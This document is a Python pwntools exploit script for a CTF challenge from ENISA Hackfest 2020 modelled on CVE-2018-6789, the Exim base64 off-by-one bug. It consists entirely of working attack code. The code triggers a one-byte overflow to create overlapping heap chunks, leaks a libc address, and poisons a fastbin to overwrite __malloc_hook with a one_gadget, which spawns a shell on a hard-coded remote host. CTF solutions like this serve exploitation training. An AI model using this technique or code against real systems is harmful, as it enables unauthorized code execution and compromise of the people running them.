Slot - ENISA Hackfest 2020 (CVE-2018-6789)

xpl.py

#!/usr/bin/env python3
from pwn import *

context.terminal = ["tmux", "sp", "-h"]
#context.log_level = "DEBUG"

elf  = ELF("./pwn_slot")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

def add_slot(size, data):
    io.sendlineafter(">", "1")
    io.sendlineafter("size:", str(size))
    io.sendafter("data:", data)

def del_slot(idx):
    io.sendlineafter(">", "2")
    io.sendlineafter("idx:", str(idx))

def show_slot(idx):
    io.sendlineafter(">", "3")
    io.sendlineafter("idx:", str(idx))

def edit_slot(idx, size, data):
    io.sendlineafter(">", "4")
    io.sendlineafter("idx:", str(idx))
    io.sendlineafter("size:", str(size))
    io.sendafter("data:", data)

io = remote("35.242.240.7", 30754)
#io = process(elf.path)

buf = b'A' * 245
add_slot(len(buf) + 2, buf)

buf = b64e(b'A' * 0x10)
add_slot(len(buf), buf)

buf = b64e(b'A' * 0x20)		      # Victim
add_slot(len(buf), buf)

buf = b64e(p64(0x201) * 0x5e)
add_slot(len(buf), buf)

buf = b64e(p64(0x201) * 0x5e)
add_slot(len(buf), buf)

buf = b'A' * 244 + b'AAEE'  
edit_slot(0, len(buf) , buf)		# Trigger bug

del_slot(1)                     # Chunk overlap

buf = b64e(p64(0) * 0x5e)
add_slot(len(buf), buf)

buf = b64e(b'A' * 0x40)
add_slot(len(buf), buf)

show_slot(4)
io.recvuntil("data: ")
libc_leak = u64(io.recvuntil("\n", drop=True).ljust(8, b"\x00"))
libc.address = libc_leak - 0x3c4b78
log.success("Leaked GLIBC address: " + hex(libc_leak))
log.info("GLIBC base address: " + hex(libc.address))
log.info("One gadget address: " + hex(libc.address + one_gadget[3]))

buf = b64e(b'A' * 0x60)
add_slot(len(buf), buf)

buf  = p64(0) * 2
buf += p64(0) + p64(0x71)
buf += p64(0) * 12
buf += p64(0) + p64(0x31)
buf = b64e(buf)
edit_slot(1, len(buf), buf)

del_slot(6)
del_slot(2)

# Store valid chunk containing __malloc_hook into fastbin 0x70
buf  = p64(0) * 2
buf += p64(0) + p64(0x71)
buf += p64(libc.sym["__malloc_hook"] - 0x23)
buf = b64e(buf)
edit_slot(1, len(buf), buf)

buf = b64e(b'A' * 0x60)
add_slot(len(buf), buf)

# Overwrite __malloc_hook
buf = b64e(b'\x00' * 0x13 + p64(libc.address + one_gadget[3]) + b'\x00' * 0x45)
add_slot(len(buf), buf)

show_slot(4)

# Clean stack for one gadget
buf = b'\x00' * 0x30
edit_slot(4, len(buf), buf)

# Trigger one gadget
add_slot(0, "A")

io.interactive()
io.close()